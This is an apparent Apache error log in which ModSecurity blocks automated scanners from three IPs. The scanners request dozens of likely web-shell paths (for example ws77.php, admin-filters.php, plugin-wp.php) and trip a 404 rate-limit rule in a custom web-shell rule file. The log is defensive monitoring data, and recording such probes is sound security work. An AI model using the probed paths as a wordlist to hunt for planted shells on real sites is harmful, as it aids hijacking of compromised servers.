[Sat Apr 11 08:03:56.079780 2026] [:error] [pid 33173:tid 33248] [client 158.158.33.175:29670] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "admP7K8109xRDP2izWgnFwAAAIM"]
[Sat Apr 11 08:03:56.663085 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:33580] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "admP7K8109xRDP2izWgnGAAAAI0"]
[Sat Apr 11 08:03:57.164963 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:29831] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "admP7YkdEsz5NeAq8w2jbAAAAQw"]
[Sat Apr 11 08:03:57.684867 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:29679] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "admP7a8109xRDP2izWgnHQAAAIE"]
[Sat Apr 11 08:03:58.275876 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:39548] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "admP7okdEsz5NeAq8w2jbQAAAQU"]
[Sat Apr 11 08:03:58.817559 2026] [:error] [pid 33172:tid 33220] [client 158.158.33.175:24260] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "admP7jn2G0IJw5EZY9l6nAAAAEI"]
[Sat Apr 11 08:03:59.309473 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:29688] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "admP74kdEsz5NeAq8w2jdAAAAQo"]
[Sat Apr 11 08:03:59.803848 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:37258] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "admP74kdEsz5NeAq8w2jeQAAAQ8"]
[Sat Apr 11 08:27:41.478768 2026] [:error] [pid 33173:tid 33253] [client 4.223.73.181:62005] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 11 08:27:41.741091 2026] [:error] [pid 33173:tid 33248] [client 4.223.73.181:62005] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-demomav.php
[Sat Apr 11 08:27:42.004413 2026] [:error] [pid 33173:tid 33257] [client 4.223.73.181:62005] File does not exist: /usr/local/apache/htdocs/suspended-page/itil.php
[Sat Apr 11 08:27:42.274546 2026] [:error] [pid 33173:tid 33257] [client 4.223.73.181:62005] File does not exist: /usr/local/apache/htdocs/suspended-page/w.php
[Sat Apr 11 08:27:42.533575 2026] [:error] [pid 33173:tid 33262] [client 4.223.73.181:62005] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-filters.php"] [unique_id "admVfq8109xRDP2izWg01gAAAJE"]
[Sat Apr 11 08:27:43.054051 2026] [:error] [pid 33173:tid 33249] [client 4.223.73.181:56225] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-filters.php"] [unique_id "admVf68109xRDP2izWg02gAAAIQ"]
[Sat Apr 11 08:27:43.570539 2026] [:error] [pid 33288:tid 33307] [client 4.223.73.181:29124] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-filters.php"] [unique_id "admVf2JmwJFFPEgRHfG33AAAANE"]
[Sat Apr 11 08:27:44.089382 2026] [:error] [pid 33171:tid 33196] [client 4.223.73.181:58174] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-filters.php"] [unique_id "admVgLoqTMlo30hcVw-jGQAAAAo"]
[Sat Apr 11 08:27:44.605784 2026] [:error] [pid 15244:tid 15261] [client 4.223.73.181:58228] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "admVgIkdEsz5NeAq8w27_AAAAQ8"]
[Sat Apr 11 08:27:45.125756 2026] [:error] [pid 33172:tid 33232] [client 4.223.73.181:16829] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "admVgTn2G0IJw5EZY9mHlQAAAE4"]
[Sat Apr 11 08:27:45.644004 2026] [:error] [pid 15244:tid 15263] [client 4.223.73.181:44447] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "admVgYkdEsz5NeAq8w28AAAAARE"]
[Sat Apr 11 08:27:46.160745 2026] [:error] [pid 15244:tid 15259] [client 4.223.73.181:29133] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "admVgokdEsz5NeAq8w28BQAAAQ0"]
[Sat Apr 11 08:27:46.679472 2026] [:error] [pid 33288:tid 33297] [client 4.223.73.181:61986] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "admVgmJmwJFFPEgRHfG38AAAAMc"]
[Sat Apr 11 08:27:47.199648 2026] [:error] [pid 15244:tid 15270] [client 4.223.73.181:29169] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "admVg4kdEsz5NeAq8w28CQAAARg"]
[Sat Apr 11 08:27:47.720056 2026] [:error] [pid 33171:tid 33208] [client 4.223.73.181:58239] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "admVg7oqTMlo30hcVw-jHwAAABY"]
[Sat Apr 11 08:27:48.238832 2026] [:error] [pid 33173:tid 33247] [client 4.223.73.181:5316] [client 4.223.73.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php"] [unique_id "admVhK8109xRDP2izWg05AAAAII"]
[Sat Apr 11 09:01:49.006470 2026] [:error] [pid 13633:tid 13652] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/HhJj1KbY8mQ.php
[Sat Apr 11 09:01:49.243142 2026] [:error] [pid 13633:tid 13661] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/tJsRZpCPGbk.php
[Sat Apr 11 09:01:49.688154 2026] [:error] [pid 13633:tid 13639] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/aboud.php
[Sat Apr 11 09:01:49.923856 2026] [:error] [pid 13633:tid 13648] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/pCS3rHdUjGM.php
[Sat Apr 11 09:01:50.161031 2026] [:error] [pid 13633:tid 13638] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/JMckCndy4s3.php
[Sat Apr 11 09:01:50.399319 2026] [:error] [pid 13633:tid 13655] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/vkYjOI1NKVi.php
[Sat Apr 11 09:01:50.634554 2026] [:error] [pid 13633:tid 13657] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/4SfCBioxZaQ.php
[Sat Apr 11 09:01:50.872298 2026] [:error] [pid 13633:tid 13641] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Sat Apr 11 09:01:51.107470 2026] [:error] [pid 13633:tid 13640] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/wXPBaHfi2do.php
[Sat Apr 11 09:01:51.348793 2026] [:error] [pid 13633:tid 13654] [client 20.111.36.240:24342] File does not exist: /usr/local/apache/htdocs/suspended-page/ropyx.php
[Sat Apr 11 09:01:51.581530 2026] [:error] [pid 13633:tid 13642] [client 20.111.36.240:24342] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/option.php"] [unique_id "admdf2aKDA-4b93MwJx7xAAAAQU"]
[Sat Apr 11 09:01:52.479598 2026] [:error] [pid 13634:tid 13684] [client 20.111.36.240:17691] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/option.php"] [unique_id "admdgHaB01qKsmKvEg82MQAAAVM"]
[Sat Apr 11 09:01:53.390415 2026] [:error] [pid 13633:tid 13656] [client 20.111.36.240:21425] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/option.php"] [unique_id "admdgWaKDA-4b93MwJx7yAAAARM"]
[Sat Apr 11 09:01:54.235348 2026] [:error] [pid 13635:tid 13704] [client 20.111.36.240:24362] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/option.php"] [unique_id "admdgsCZeuwIgRXgWykCqgAAAYw"]
[Sat Apr 11 09:01:55.026828 2026] [:error] [pid 13721:tid 13745] [client 20.111.36.240:33696] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/OK.php"] [unique_id "admdgwtCFIRABSMvNE7BCgAAABU"]
[Sat Apr 11 09:01:55.853018 2026] [:error] [pid 13721:tid 13734] [client 20.111.36.240:11531] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/OK.php"] [unique_id "admdgwtCFIRABSMvNE7BEgAAAAo"]
[Sat Apr 11 09:01:56.750489 2026] [:error] [pid 13721:tid 13737] [client 20.111.36.240:37936] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/OK.php"] [unique_id "admdhAtCFIRABSMvNE7BGQAAAA0"]
[Sat Apr 11 09:01:57.639572 2026] [:error] [pid 13635:tid 13694] [client 20.111.36.240:24361] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/OK.php"] [unique_id "admdhcCZeuwIgRXgWykCrgAAAYI"]
[Sat Apr 11 09:01:58.504440 2026] [:error] [pid 13633:tid 13657] [client 20.111.36.240:26546] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "admdhmaKDA-4b93MwJx71wAAARQ"]
[Sat Apr 11 09:01:59.410716 2026] [:error] [pid 13633:tid 13649] [client 20.111.36.240:37899] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "admdh2aKDA-4b93MwJx72wAAAQw"]
[Sat Apr 11 09:02:00.485261 2026] [:error] [pid 13721:tid 13727] [client 20.111.36.240:24376] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "admdiAtCFIRABSMvNE7BKgAAAAM"]
[Sat Apr 11 09:02:01.197335 2026] [:error] [pid 13721:tid 13739] [client 20.111.36.240:35688] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "admdiQtCFIRABSMvNE7BLwAAAA8"]
[Sat Apr 11 09:02:01.967812 2026] [:error] [pid 13721:tid 13731] [client 20.111.36.240:39411] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/F1jgmosvPbq.php"] [unique_id "admdiQtCFIRABSMvNE7BNgAAAAc"]
[Sat Apr 11 09:02:02.990027 2026] [:error] [pid 13721:tid 13725] [client 20.111.36.240:26252] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/F1jgmosvPbq.php"] [unique_id "admdigtCFIRABSMvNE7BPgAAAAE"]
[Sat Apr 11 09:02:03.607119 2026] [:error] [pid 13721:tid 13730] [client 20.111.36.240:33727] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/F1jgmosvPbq.php"] [unique_id "admdiwtCFIRABSMvNE7BRAAAAAY"]
[Sat Apr 11 09:02:04.411784 2026] [:error] [pid 13721:tid 13748] [client 20.111.36.240:21386] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/F1jgmosvPbq.php"] [unique_id "admdjAtCFIRABSMvNE7BSgAAABg"]
[Sat Apr 11 09:02:05.207673 2026] [:error] [pid 13721:tid 13742] [client 20.111.36.240:16351] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v1Cd9rWaZMx.php"] [unique_id "admdjQtCFIRABSMvNE7BUwAAABI"]
[Sat Apr 11 09:02:05.956836 2026] [:error] [pid 13721:tid 13733] [client 20.111.36.240:19310] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v1Cd9rWaZMx.php"] [unique_id "admdjQtCFIRABSMvNE7BWAAAAAk"]
[Sat Apr 11 09:02:06.572638 2026] [:error] [pid 13633:tid 13648] [client 20.111.36.240:22211] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v1Cd9rWaZMx.php"] [unique_id "admdjmaKDA-4b93MwJx73wAAAQs"]
[Sat Apr 11 09:02:07.192811 2026] [:error] [pid 13721:tid 13734] [client 20.111.36.240:38620] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v1Cd9rWaZMx.php"] [unique_id "admdjwtCFIRABSMvNE7BYAAAAAo"]
[Sat Apr 11 09:02:08.121952 2026] [:error] [pid 13721:tid 13741] [client 20.111.36.240:11554] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/NexusLeads.php"] [unique_id "admdkAtCFIRABSMvNE7BZQAAABE"]
[Sat Apr 11 09:02:09.071026 2026] [:error] [pid 13635:tid 13709] [client 20.111.36.240:38630] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/NexusLeads.php"] [unique_id "admdkcCZeuwIgRXgWykC4gAAAZE"]
[Sat Apr 11 09:02:09.995990 2026] [:error] [pid 13634:tid 13673] [client 20.111.36.240:38655] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/NexusLeads.php"] [unique_id "admdkXaB01qKsmKvEg82VgAAAUg"]
[Sat Apr 11 09:02:10.908020 2026] [:error] [pid 13633:tid 13649] [client 20.111.36.240:3959] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/NexusLeads.php"] [unique_id "admdkmaKDA-4b93MwJx75wAAAQw"]
[Sat Apr 11 09:02:12.243583 2026] [:error] [pid 13721:tid 13734] [client 20.111.36.240:38635] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rfzhh.php"] [unique_id "admdlAtCFIRABSMvNE7BdAAAAAo"]
[Sat Apr 11 09:02:13.147674 2026] [:error] [pid 13635:tid 13696] [client 20.111.36.240:26545] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rfzhh.php"] [unique_id "admdlcCZeuwIgRXgWykC6AAAAYQ"]
[Sat Apr 11 09:02:13.872452 2026] [:error] [pid 13721:tid 13748] [client 20.111.36.240:37915] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rfzhh.php"] [unique_id "admdlQtCFIRABSMvNE7BgQAAABg"]
[Sat Apr 11 09:02:14.529830 2026] [:error] [pid 13633:tid 13652] [client 20.111.36.240:19264] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rfzhh.php"] [unique_id "admdlmaKDA-4b93MwJx79wAAAQ8"]
[Sat Apr 11 09:02:15.846858 2026] [:error] [pid 13634:tid 13678] [client 20.111.36.240:26526] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin-wp.php"] [unique_id "admdl3aB01qKsmKvEg82bAAAAU0"]
[Sat Apr 11 09:02:18.236558 2026] [:error] [pid 13721:tid 13747] [client 20.111.36.240:21438] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin-wp.php"] [unique_id "admdmgtCFIRABSMvNE7BigAAABc"]
[Sat Apr 11 09:02:20.743454 2026] [:error] [pid 13635:tid 13711] [client 20.111.36.240:38647] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin-wp.php"] [unique_id "admdnMCZeuwIgRXgWykDAgAAAZM"]
